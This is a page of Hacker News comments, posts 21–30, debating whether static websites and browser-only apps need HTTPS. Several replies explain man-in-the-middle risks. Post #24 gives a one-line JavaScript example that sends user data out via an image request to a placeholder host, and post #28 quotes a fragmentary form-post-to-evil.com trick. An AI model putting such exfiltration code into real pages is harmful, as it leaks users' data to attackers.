Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Why Static Websites Need HTTPS

troyhunt.com

Post reply on HN
Print view View original

21–30 of 268 posts

Re: Why Static Websites Need HTTPS

#21

Post by kuroguro »

adwhit wrote: post #12

When I read things like that, I always think of the paper "The Rational Rejection of Security Advice by Users". [1] Yes, content injection is bad, but the chance of it happening multiplied by the damage it could cause to your users is probably less than the the effort required to shift a static blog site to HTTPS. (Do not underestimate the leap in difficulty from copy-pasting from an Nginx tutorial to understanding h…

There's always things like CloudFlare? You have to use them as the main NS, but both transfering the domain and enabling HTTPS is a few clicks (properly configuring your server to only be accessible by CF might be harder, but may not be needed in a static site case).

Re: Why Static Websites Need HTTPS

#22

Post by r3bl »

davidmurdoch wrote: post #15

And one reason it doesn't: https://meyerweb.com/eric/thoughts/2018/08/07/securing-sites... Secure websites make the web less accessible for those who rely on metered satellite internet (and I'm sure plenty of other cases). Know who your demographic is and make sure you don't make things more difficult for them. Maybe provide an option for users to access your static site on a separate insecure domain, clearly labeled…

That article specifically mentions that service workers avoid these issues. There's nothing stopping static pages from making service workers available.

HTTPS and a service worker are a far better solution than having an insecure domain.

Re: Why Static Websites Need HTTPS

#23

Post by pc86 »

davidmurdoch wrote: post #15

And one reason it doesn't: https://meyerweb.com/eric/thoughts/2018/08/07/securing-sites... Secure websites make the web less accessible for those who rely on metered satellite internet (and I'm sure plenty of other cases). Know who your demographic is and make sure you don't make things more difficult for them. Maybe provide an option for users to access your static site on a separate insecure domain, clearly labeled…

There's nothing wrong with making something "more difficult" if it serves the greater good or has a larger positive impact than negative. For one, using a trivially higher percentage of a metered satellite feed is not "more difficult," just perhaps marginally more expensive. What percentage of folks reading static blogs are on a metered satellite connection?

I think if every site and application that is currently HTTP was HTTPS a year from now it would be a net positive for internet users.

Re: Why Static Websites Need HTTPS

#24

Post by slig »

austincheney wrote: post #16
askmike wrote: post #7

Earlier quoted context omitted.

> My site is a web application that stores all user data in their browser. Their data does not come back to the server. If you weren't using HTTPS a very simple MitM attack would send all of that data straight to any server. HTTPS doesn't just prevent intercepting AJAX communications, it prevents anyone from changing your webapp (js file) into something that uploads everything to evilcorp.com.

No. https://en.wikipedia.org/wiki/Same-origin_policy

How does same-origin policy (on a MITM'd website) prevents this?

    (new Image()).src = 'https://example.com/data.php?payload=' + JSON.stringify(data);

Re: Why Static Websites Need HTTPS

#25

Post by bn-usd-mistake »

austincheney wrote: post #16
askmike wrote: post #7

Earlier quoted context omitted.

> My site is a web application that stores all user data in their browser. Their data does not come back to the server. If you weren't using HTTPS a very simple MitM attack would send all of that data straight to any server. HTTPS doesn't just prevent intercepting AJAX communications, it prevents anyone from changing your webapp (js file) into something that uploads everything to evilcorp.com.

No. https://en.wikipedia.org/wiki/Same-origin_policy

Same-origin is the other way around, it protects evilcorp.com from being called by non-https.com. So a simple CORS setup on evilcorp.com would indeed allow you to send all user data by MITMing non-https.com

Re: Why Static Websites Need HTTPS

#26

Post by dragonwriter »

austincheney wrote: post #2

I have recently adopted HTTPS on my own site, because there are substantial performance benefits with HTTP/2 that are only available over HTTPS. There are many arguments in the article, and more that he links to, arguing for the security benefits of HTTPS. HTTPS is good for protecting content. One very serious argument that HTTPS evangelists avoid is when there is no content to protect the security benefits of HTTPS…

> One very serious argument that HTTPS evangelists avoid is when there is no content to protect the security benefits of HTTPS evaporate.

If there is no content, you have no site, so the issue is moot.

> My site is a web application that stores all user data in their browser. Their data does not come back to the server. The only thing that crosses the wire is a request for the application code and a response with that code.

The application is content, and the thing you need HTTPS to protect. Otherwise, the application the user actually runs could be anything an attacker wants.

> I would argue this model of application is substantially more secure that sending data across the wire regardless of whether that transmission is encrypted.

It's not, because the code you send controls what happens with the data.

> A man in the middle attack can void the integrity of data crossing the wire, but it cannot trivially break privacy with simple modifications to code.

It can, because in an MITM the attacker impersonates your site. The therefore can bypass any protection offered the same origin policy, because they own your origin.

Re: Why Static Websites Need HTTPS

#27

Post by pc86 »

austincheney wrote: post #16
askmike wrote: post #7

Earlier quoted context omitted.

> My site is a web application that stores all user data in their browser. Their data does not come back to the server. If you weren't using HTTPS a very simple MitM attack would send all of that data straight to any server. HTTPS doesn't just prevent intercepting AJAX communications, it prevents anyone from changing your webapp (js file) into something that uploads everything to evilcorp.com.

No. https://en.wikipedia.org/wiki/Same-origin_policy

Which you've noted three times but is just as wrong the third time as the first. You can break/disable SOP when it's trivially easy to edit the code.

Re: Why Static Websites Need HTTPS

#28

Post by austincheney »

gsnedders wrote: post #19
austincheney wrote: post #17

Earlier quoted context omitted.

No. https://en.wikipedia.org/wiki/Same-origin_policy

There are enough "gaps" in the SOP that you can trivially move data cross-origin: most obviously https://evil.com/" method="post" id="dummy"> window.dummy.submit(); . In general terms, you can often write cross-origin, but you can't read.

A form submission would refresh the page to the evil domain. It would change the domain in the address of the page. This same vector of attack can still occur with HTTPS so long as the malicious code is injected from a XSS or CRSF attack.

The page address is the web's equivalent of physical security. If you cannot trust that there is no security.

Re: Why Static Websites Need HTTPS

#30

Post by MichaelApproved »

adwhit wrote: post #12

When I read things like that, I always think of the paper "The Rational Rejection of Security Advice by Users". [1] Yes, content injection is bad, but the chance of it happening multiplied by the damage it could cause to your users is probably less than the the effort required to shift a static blog site to HTTPS. (Do not underestimate the leap in difficulty from copy-pasting from an Nginx tutorial to understanding h…

Cpanel comes with easy to use Lets Encrypt module. Auto-new the certificate and sends optional email alerts each time it renews or fails.

Web hosts are making it easy to use Lets Encrypt, which surprised me. I thought they'd be reluctant to give up the revenue from high margin certificate sales.

Post reply on HN